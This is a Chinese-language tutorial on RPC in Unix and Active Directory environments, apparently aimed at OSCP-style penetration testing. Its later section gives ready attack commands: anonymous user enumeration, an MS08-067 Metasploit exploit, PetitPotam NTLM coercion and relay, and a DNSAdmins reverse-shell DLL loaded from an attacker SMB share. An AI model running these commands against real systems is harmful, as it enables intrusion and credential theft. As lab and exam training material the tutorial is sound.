远程过程调用(Remote Procedure Call,RPC)协议是一种允许程序在不同计算机上执行代码的通信协议。Windows Active Directory(AD)环境大量使用RPC协议进行远程管理和信息查询,因此在渗透测试中,对RPC协议的理解和利用至关重要。
一、RPC 的基础原理
1.1 什么是 RPC?
RPC 是一种让程序能够跨网络调用远程服务的机制。它的核心理念是让开发者像调用本地函数一样使用远程资源,而无需直接处理底层的网络协议(如 TCP/IP)或数据传输细节。RPC 最早由 Sun Microsystems 在 1980 年代提出,旨在简化分布式系统的开发。如今,它被广泛应用于 Unix/Linux 和 Windows 系统中。
想象一下这样的场景:你在本地写了一个函数 get_user_info()
,但实际数据存储在另一台服务器上。RPC 的作用就是“伪装”这个函数,让你感觉它就在本地运行,而实际上它通过网络从远程服务器获取数据并返回结果。这种“透明性”是 RPC 的最大魅力。
1.2 RPC 的核心组件
要理解 RPC 如何工作,我们需要先看看它的基本构成:
- 客户端存根(Client Stub):
- 一个代理模块,负责将函数调用转换为网络请求。它会把参数打包(序列化,marshalling)成适合传输的格式。
- 服务器存根(Server Stub):
- 在服务器端接收请求,解包参数(反序列化,unmarshalling),调用实际的函数,然后将结果返回给客户端。
- RPC 运行时库:
- 处理网络通信的细节,比如建立连接、发送数据、管理超时和错误。
- 端口映射服务:
- 一个中介服务,负责将 RPC 的“程序号”(Program Number)映射到具体的网络端口。在 Unix 中是
rpcbind
,在 Windows 中是 RPC Endpoint Mapper。
- 一个中介服务,负责将 RPC 的“程序号”(Program Number)映射到具体的网络端口。在 Unix 中是
1.3 RPC 的端口机制:固定与动态的平衡
RPC 的通信依赖于网络端口,但它不像 HTTP(80)或 SSH(22)那样固定在一个端口。它的端口机制分为两类:
- 固定端口:
- Unix/Linux:111 端口,由
rpcbind
(或portmapper
)监听,负责服务注册和查询。 - Windows:135 端口,由 RPC Endpoint Mapper 监听,功能类似。
- Unix/Linux:111 端口,由
- 动态端口:
- 具体服务启动时,RPC 会分配一个高位端口(Unix 通常是 1024-65535,Windows 默认是 49152-65535)。
- 这些端口是临时的,由端口映射服务动态分配。
1.4 RPC 的工作流程:一步步揭秘
假设你在 Unix 系统上使用 NFS(Network File System)挂载一个远程目录,RPC 的工作流程如下:
- 服务端注册:
- NFS 服务启动时,向
rpcbind
(111 端口)注册,告诉它“我是 NFS,程序号 100003,我的端口是 2049”。
- NFS 服务启动时,向
- 客户端查询:
- 客户端联系 111 端口,询问:“程序号 100003 在哪个端口?”
- 映射响应:
rpcbind
回复:“NFS 在 2049 端口。”
- 直接通信:
- 客户端连接到 2049 端口,开始文件操作。
这种流程确保了服务的灵活性:即使具体端口变化,客户端也能通过固定端口找到目标。
二、RPC 的应用场景
RPC 的应用范围非常广泛,几乎涵盖了所有需要分布式通信的场景。以下是它在 Unix/Linux 和 Windows 环境中支持的主要服务。
2.1 Unix/Linux 环境中的 RPC 服务
在 Unix/Linux 系统中,RPC 是许多传统网络服务的基础,尤其是在文件共享和认证领域。
-
NFS(Network File System)
- 简介:
NFS 是一个允许客户端挂载远程文件系统的协议,广泛用于 Unix 环境。它最初由 Sun 开发,现在已是分布式存储的标准。 - RPC 依赖:
NFSv2 和 NFSv3 是基于 RPC 的协议。它们通过rpcbind
(111 端口)注册多个服务组件:- nfsd:核心文件服务,默认固定在 2049 端口,程序号 100003。
- mountd:处理挂载请求,通常分配动态端口,程序号 100005。
- lockd:管理文件锁,动态端口,程序号 100021。
- 运行示例:
使用rpcinfo
查看:
输出:rpcinfo -p 192.168.1.10
program vers proto port service 100000 2 tcp 111 portmapper 100003 3 tcp 2049 nfs 100005 3 tcp 32765 mountd 100021 1 tcp 32766 nlockmgr
- NFSv4 的变化:
NFSv4 将所有功能整合到 2049 端口,减少了对动态端口的依赖,但仍可选使用 111 端口进行兼容。
- 简介:
-
RPC.statd
- 简介:
这是 NFS 的辅助服务,用于跟踪文件锁状态,确保客户端在服务器重启后能恢复锁。 - RPC 依赖:
通过rpcbind
分配动态端口,程序号通常是 100024。 - 安全隐患:
历史上,rpc.statd
存在缓冲区溢出漏洞(如 CVE-2000-0666),曾被攻击者利用执行任意代码。
- 简介:
-
RPC.rquotad
- 简介:
提供远程磁盘配额查询,允许管理员检查用户的存储使用情况。 - RPC 依赖:
通过rpcbind
注册,动态端口,程序号 100011。 - 使用场景:
常见于老旧 Unix 系统,现在较少使用。
- 简介:
-
NIS(Network Information Service)
- 简介:
NIS(曾称 Yellow Pages)是一个分布式认证系统,用于同步用户账户和配置信息。 - RPC 依赖:
通过rpcbind
注册服务,如ypbind
(程序号 100007)和ypserv
(程序号 100004)。 - 典型用途:
在企业环境中集中管理用户密码。
- 简介:
2.2 Windows 环境中的 RPC 服务
在 Windows 系统中,RPC 的实现更加复杂,广泛用于本地和分布式服务。
-
SMB(Server Message Block)
- 简介:
SMB 是 Windows 的文件和打印共享协议,早期版本(如 SMBv1)与 NetBIOS 紧密相关。 - RPC 依赖:
SMBv1 使用 RPC 调用 NetBIOS 服务(端口 139),处理会话管理和名称解析。 - 现代变化:
SMBv2 和 SMBv3 直接使用 445 端口,但某些管理功能(如共享枚举)仍可能通过 RPC。
- 简介:
-
DCOM(Distributed Component Object Model)
- 简介:
DCOM 是 Windows 的分布式对象框架,扩展了 COM(组件对象模型)到网络环境。 - RPC 依赖:
DCOM 完全基于 RPC,通过 135 端口的 Endpoint Mapper 分配动态端口。 - 使用场景:
例如,远程调用 Excel 对象生成报表。
- 简介:
-
WMI(Windows Management Instrumentation)
- 简介:
WMI 是 Windows 的管理框架,支持系统监控和远程命令执行。 - RPC 依赖:
通过 RPC 调用(如 DCOM over RPC),客户端连接到 135 端口,再跳转到动态端口。 - 示例:
Get-WmiObject -Class Win32_OperatingSystem -ComputerName 192.168.1.10
- 简介:
三、Active Directory 中的 RPC
在 Windows Active Directory(AD)环境中,RPC 的重要性达到了顶峰。AD 是一个分布式目录服务,依赖多台域控制器(Domain Controller,DC)之间的协同工作,而 RPC 正是实现这一协作的关键机制。
3.1 AD 的核心服务与 RPC 的关系
以下是 AD 中依赖 RPC 的主要服务及其具体实现:
-
AD 复制(Active Directory Replication)
- 功能:
AD 复制确保所有 DC 上的目录数据(如用户、组、计算机对象)保持一致。 - RPC 实现:
- DC 之间的复制通过 RPC 协议完成。
- 客户端首先连接到 135 端口的 RPC Endpoint Mapper,获取复制服务的动态端口。
- 数据传输在动态端口(默认 49152-65535)上进行。
- 工具示例:
输出显示复制状态:repadmin /replsummary
Source DSA largest delta fails/total DC01 15m:20s 0 / 5
- 渗透测试意义:
如果能嗅探复制流量,可能捕获 NTLM 哈希。
- 功能:
-
Netlogon 服务
- 功能:
处理域用户的登录验证和计算机的信任关系。 - RPC 实现:
- 客户端通过 RPC 调用 DC 的
Netlogon
服务(程序号 12345678-1234-abcd-ef00-0123456789ab)。 - 通信从 135 端口开始,跳转到动态端口。
- 客户端通过 RPC 调用 DC 的
- 攻击点:
使用rpcclient
枚举用户:
输出:rpcclient -U "" -N 10.10.10.10 rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
- 功能:
-
Kerberos 认证
- 功能:
AD 的主要认证协议,使用票据(Ticket)验证身份。 - RPC 联系:
- Kerberos 核心通信使用 88 端口,但某些管理功能(如票据分发服务的配置)通过 RPC。
- 例如,KDC(Key Distribution Center)与客户端的复杂交互可能涉及 RPC。
- 渗透测试:
结合 NTLM 中继攻击,利用 RPC 强制 DC 认证。
- 功能:
-
DNS 服务(AD 集成)
- 功能:
AD 依赖 DNS 解析域控制器和服务位置(SRV 记录)。 - RPC 实现:
- Windows DNS 服务器通过 RPC 与 DC 通信,处理动态更新。
- 示例:DNSAdmins 组利用 RPC 加载恶意 DLL:
dnscmd DC01 /config /serverlevelplugindll \\10.10.15.45\kali\privesc.dll
- 端口:135 + 动态端口(辅助 53 端口的 DNS 查询)。
- 功能:
-
Group Policy(组策略)
- 功能:
分发配置和安全策略到客户端。 - RPC 实现:
- 客户端通过 RPC 从 DC 下载 GPO 文件(存储在 SYSVOL)。
- 通信从 135 端口跳转到动态端口。
- 攻击点:
修改 GPO 分发恶意脚本,需 RPC 权限。
- 功能:
3.2 RPC 在 AD 中的通信流程
让我们以用户登录为例,详细看看 RPC 的作用:
- 客户端发起请求:
- 用户输入凭据,客户端联系 DC 的 135 端口。
- 服务定位:
- RPC Endpoint Mapper 返回
Netlogon
服务的动态端口(如 49153)。
- RPC Endpoint Mapper 返回
- 认证过程:
- 客户端连接到 49153,发送凭据验证请求。
- 结果返回:
- DC 验证成功后,通过同一端口返回会话密钥。
3.3 其他 AD 相关服务
- FRS(File Replication Service):
- 旧版 AD 文件复制(如 SYSVOL),通过 RPC 同步。
- DFS(Distributed File System):
- 管理分布式共享,RPC 协调命名空间。
- Certificate Services:
- 证书颁发与 DC 的通信,部分功能依赖 RPC。
四、RPC 服务与渗透测试
在渗透测试中,尤其是 OSCP 这样的实战考试环境中,远程过程调用(RPC)不仅仅是一个技术名词,更是打开目标系统大门的钥匙。无论是 Unix/Linux 系统中的 NFS 服务,还是 Windows Active Directory(AD)中的域服务,RPC 都提供了丰富的攻击面。它的端口(如 111、135)和动态特性使其成为信息收集和权限提升的理想目标。
4.1 枚举 RPC 服务:揭开目标的面纱
在渗透测试的侦察阶段,枚举 RPC 服务是第一步。通过识别目标机器上运行的 RPC 服务,我们可以快速判断潜在的攻击向量。以下是针对 Unix/Linux 和 Windows 环境的枚举方法,以及它们的具体实现和优化技巧。
4.1.1 Linux 环境:111 端口
-
工具:
rpcinfo
- 功能:
rpcinfo
是 Linux 下查询 RPC 服务的标准工具,通过与 111 端口的rpcbind
交互,列出目标支持的服务及其端口。 - 命令示例:
输出:rpcinfo -p 10.10.10.10
program vers proto port service 100000 2 tcp 111 portmapper 100003 3 tcp 2049 nfs 100005 3 tcp 32765 mountd 100021 1 tcp 32766 nlockmgr
- 输出解读:
100003 (nfs)
:NFS 服务,固定在 2049 端口。100005 (mountd)
:挂载服务,动态端口(这里是 32765)。100021 (nlockmgr)
:文件锁服务,动态端口(32766)。
- 原理:
rpcinfo
发送一个 RPC 调用到 111 端口的rpcbind
,请求目标的程序号(Program Number)和端口映射表。rpcbind
响应后,返回所有注册的服务及其详细信息。这种机制依赖于 RPC 的开放性,但在未受限的系统中可能泄露关键服务。
- 功能:
-
优化建议:
- 批量扫描:在 OSCP 的子网(如 10.10.10.0/24)中,快速枚举所有主机的 RPC 服务:
for ip in $(seq 1 254); do rpcinfo -p 10.10.10.$ip >> rpc_services.txt 2>/dev/null; done
2>/dev/null
:忽略无响应的主机,减少输出噪音。
- 结合 NFS 枚举:如果发现 NFS(100003),立即使用
showmount
检查共享目录:
输出:showmount -e 10.10.10.10
如果共享对所有人开放(Export list for 10.10.10.10: /shared *
*
),尝试挂载:mkdir /mnt/nfs mount -t nfs 10.10.10.10:/shared /mnt/nfs ls /mnt/nfs
- 批量扫描:在 OSCP 的子网(如 10.10.10.0/24)中,快速枚举所有主机的 RPC 服务:
4.1.2 Windows 环境:135 端口
-
工具:
rpcclient
- 功能:
rpcclient
是 Samba 套件中的工具,用于与 Windows RPC 服务交互,尤其在 AD 环境中枚举用户、组和 SID。 - 命令示例:
输出:rpcclient -U "" -N 10.10.10.10 rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6]
- 选项说明:
-U ""
:空用户名,表示匿名登录。-N
:无需密码。
- 原理:
rpcclient
通过 135 端口的 RPC Endpoint Mapper 连接目标,查询Netlogon
或SAMR
(Security Account Manager Remote)服务的动态端口。然后,它调用这些服务的 RPC 接口(如SamrEnumDomainUsers
),枚举域用户。Windows 默认允许匿名枚举(若未禁用),这使得攻击者能快速收集用户列表。
- 功能:
-
优化建议:
- 匿名测试:优先尝试匿名连接,如果失败,结合已获得的低权限凭据(如 SMB 枚举得到的用户密码)。
rpcclient -U "user%password" 10.10.10.10
- 其他命令:
- 枚举域组:
enumdomgroups
- 查询用户信息:
queryuser 0x1f4
(RID 为 500 的 Administrator)。
- 枚举域组:
- 自动化:编写脚本循环测试:
for ip in $(seq 1 254); do rpcclient -U "" -N 10.10.10.$ip -c "enumdomusers" >> users.txt 2>/dev/null; done
- 匿名测试:优先尝试匿名连接,如果失败,结合已获得的低权限凭据(如 SMB 枚举得到的用户密码)。
4.2 漏洞利用:深入 RPC 的攻击面
4.2.1 MS08-067(NetAPI 漏洞)
-
漏洞背景:
MS08-067 是 2008 年微软修补的一个严重漏洞,影响 Windows XP、Server 2003 等旧系统。它位于NetAPI
的 RPC 接口(netapi32.dll
),允许远程代码执行(RCE)。漏洞编号 CVE-2008-4250,因“Conficker”蠕虫而臭名昭著。 -
原理:
- 触发点:漏洞存在于
NetPathCanonicalize
函数中,该函数处理路径规范化。 - 问题:函数未正确验证输入缓冲区,导致栈溢出。攻击者可发送特制 RPC 请求,覆盖返回地址,执行任意代码。
- RPC 流程:
- 客户端连接 135 端口,查询
NetAPI
服务(UUID4b324fc8-1670-01d3-1278-5a47bf6ee188
)。 - Endpoint Mapper 返回动态端口(如 49153)。
- 客户端发送恶意 payload,触发溢出。
- 客户端连接 135 端口,查询
- 触发点:漏洞存在于
-
利用步骤:
- 扫描目标:
输出:nmap -p 135,445 --script smb-vuln-ms08-067 10.10.10.10
PORT STATE SERVICE 135/tcp open msrpc 445/tcp open microsoft-ds | smb-vuln-ms08-067: | VULNERABLE: Microsoft Windows SMB MS08-067
- Metasploit 利用:
msfconsole use exploit/windows/smb/ms08_067_netapi set RHOST 10.10.10.10 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.15.45 set LPORT 4444 exploit
- 结果:
成功后,获得 Meterpreter shell,权限通常为 SYSTEM。
- 扫描目标:
-
注意事项:
- 适用性:仅对未打补丁的旧系统有效(XP、2003)。
- 防火墙:需 135 和动态端口开放。
- 优化:若目标系统较新,跳过此漏洞,节省时间。
4.2.2 PetitPotam:强制认证的艺术
-
漏洞背景:
PetitPotam 是 2021 年发现的一种攻击技术(非传统漏洞),利用 RPC 接口MS-EFSRPC
(Encrypting File System Remote Protocol)强制域控制器发起 NTLM 认证。结合 NTLM 中继,可窃取高权限凭据。 -
原理:
- 触发点:
EfsRpcOpenFileRaw
函数(UUIDc681d488-d850-11d0-8c52-00c04fd90f7e
)允许未认证调用。 - 过程:
- 攻击者通过 RPC 调用
EfsRpcOpenFileRaw
,指定一个 UNC 路径(如\\attacker_ip\share
)。 - DC 尝试访问该路径,发起 NTLM 认证。
- 攻击者用 Responder 或 NTLMrelayx 中继认证到其他服务(如 SMB、LDAP),提升权限。
- 攻击者通过 RPC 调用
- 关键:依赖 DC 的出站 NTLM 认证未受限。
- 触发点:
-
利用步骤:
- 准备攻击机:
- 启动 Responder 捕获 NTLM 哈希:
responder -I eth0
- 或用 NTLMrelayx 中继:
ntlmrelayx.py -t smb://10.10.10.10
- 启动 Responder 捕获 NTLM 哈希:
- 触发 PetitPotam:
python3 petitpotam.py -u "low_priv_user" -p "password" 10.10.10.100 10.10.15.45
10.10.10.100
:目标 DC。10.10.15.45
:攻击者 IP。
- 结果:
- Responder 捕获 NTLMv2 哈希,可用 Hashcat 破解:
hashcat -m 5600 hash.txt rockyou.txt
- 或 NTLMrelayx 直接获得 shell。
- Responder 捕获 NTLMv2 哈希,可用 Hashcat 破解:
- 准备攻击机:
-
注意事项:
- 前提:需要低权限凭据触发 RPC 调用。
- 防御:目标启用 SMB 签名或禁用 NTLM 可能失效。
- 优化:在 OSCP 中,优先测试 Responder,若失败再尝试中继。
4.2.3 DNSAdmins 提权:DLL 注入的巧妙利用
-
漏洞背景:
DNSAdmins 组成员可通过 RPC 修改 DNS 服务配置,加载恶意 DLL,借此提升到 SYSTEM 权限。这是 AD 环境中的经典提权技巧。 -
原理:
- 触发点:DNS 服务(
dns.exe
)支持加载自定义插件 DLL,通过注册表项ServerLevelPluginDll
指定。 - 权限:
- DNSAdmins 组可通过
dnscmd
修改此项。 dns.exe
以 SYSTEM 权限运行,加载的 DLL 继承此权限。
- DNSAdmins 组可通过
- 过程:
- 攻击者用 RPC 调用
dnscmd
设置 DLL 路径(UNC 路径指向攻击者 SMB 共享)。 - 重启 DNS 服务,触发 DLL 加载。
- DLL 执行反弹 shell 代码。
- 攻击者用 RPC 调用
- 触发点:DNS 服务(
-
利用步骤:
- 生成恶意 DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.45 LPORT=4444 -f dll -o privesc.dll
- 托管 SMB 共享:
python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali /path/to/dll
- 配置 DNS:
在目标机器上(需 DNSAdmins 权限 shell):dnscmd DC01 /config /serverlevelplugindll \\10.10.15.45\kali\privesc.dll
- 重启 DNS 服务:
sc stop dns sc start dns
- 监听反弹 shell:
nc -lvnp 4444
- 结果:获得 SYSTEM 权限 shell。
- 生成恶意 DLL:
-
注意事项:
- DLL 要求:需包含
DnsPluginInitialize
等函数,否则服务可能崩溃。 - 网络:目标需能访问攻击者 IP 的 445 端口。
- 优化:提前测试 DLL 稳定性,避免浪费时间。
- DLL 要求:需包含
4.3 端口扫描与侦察:锁定 RPC 攻击面
-
命令:
nmap -p 111,135,2049,49152-65535 -sV -T4 10.10.10.10
-sV
:服务版本探测。-T4
:加速扫描。
-
结果分析:
- 111/tcp open rpcbind:Linux RPC 服务,可能有 NFS。
- 进一步用
rpcinfo -p
确认。
- 进一步用
- 135/tcp open msrpc:Windows RPC,可能为 AD。
- 检查动态端口(如 49152+)是否有 AD 服务。
- 2049/tcp open nfs:NFS 文件共享,直接尝试挂载。
- 49152-65535:Windows 动态端口,可能运行
Netlogon
或 DNS。
- 111/tcp open rpcbind:Linux RPC 服务,可能有 NFS。
-
优化建议:
- 缩小范围:若时间紧迫,优先扫描 111、135、2049。
- 脚本辅助:使用 Nmap 脚本:
nmap --script rpcinfo 10.10.10.10 -p 111
总结
RPC 的广泛性与重要性
- Unix/Linux 生态:在 Unix/Linux 系统中,NFS(网络文件系统)、NIS(网络信息服务)等关键功能依赖 111 端口的 rpcbind 服务,通过其端口映射机制实现分布式通信。
- Windows/AD 环境:在 Windows Active Directory 中,AD 复制、Netlogon、DNS 等核心服务以 135 端口的 RPC Endpoint Mapper 为枢纽,支撑起域环境的协同运作。
RPC 服务的渗透手法
- 快速侦察:
- 扫描 111/135/2049,结合
rpcinfo
和rpcclient
。
- 扫描 111/135/2049,结合
- 攻击策略:
- NFS 共享 > RPC 漏洞 > AD 提权。
- 工具链:
nmap
、rpcinfo
、rpcclient
、msfconsole
、showmount
。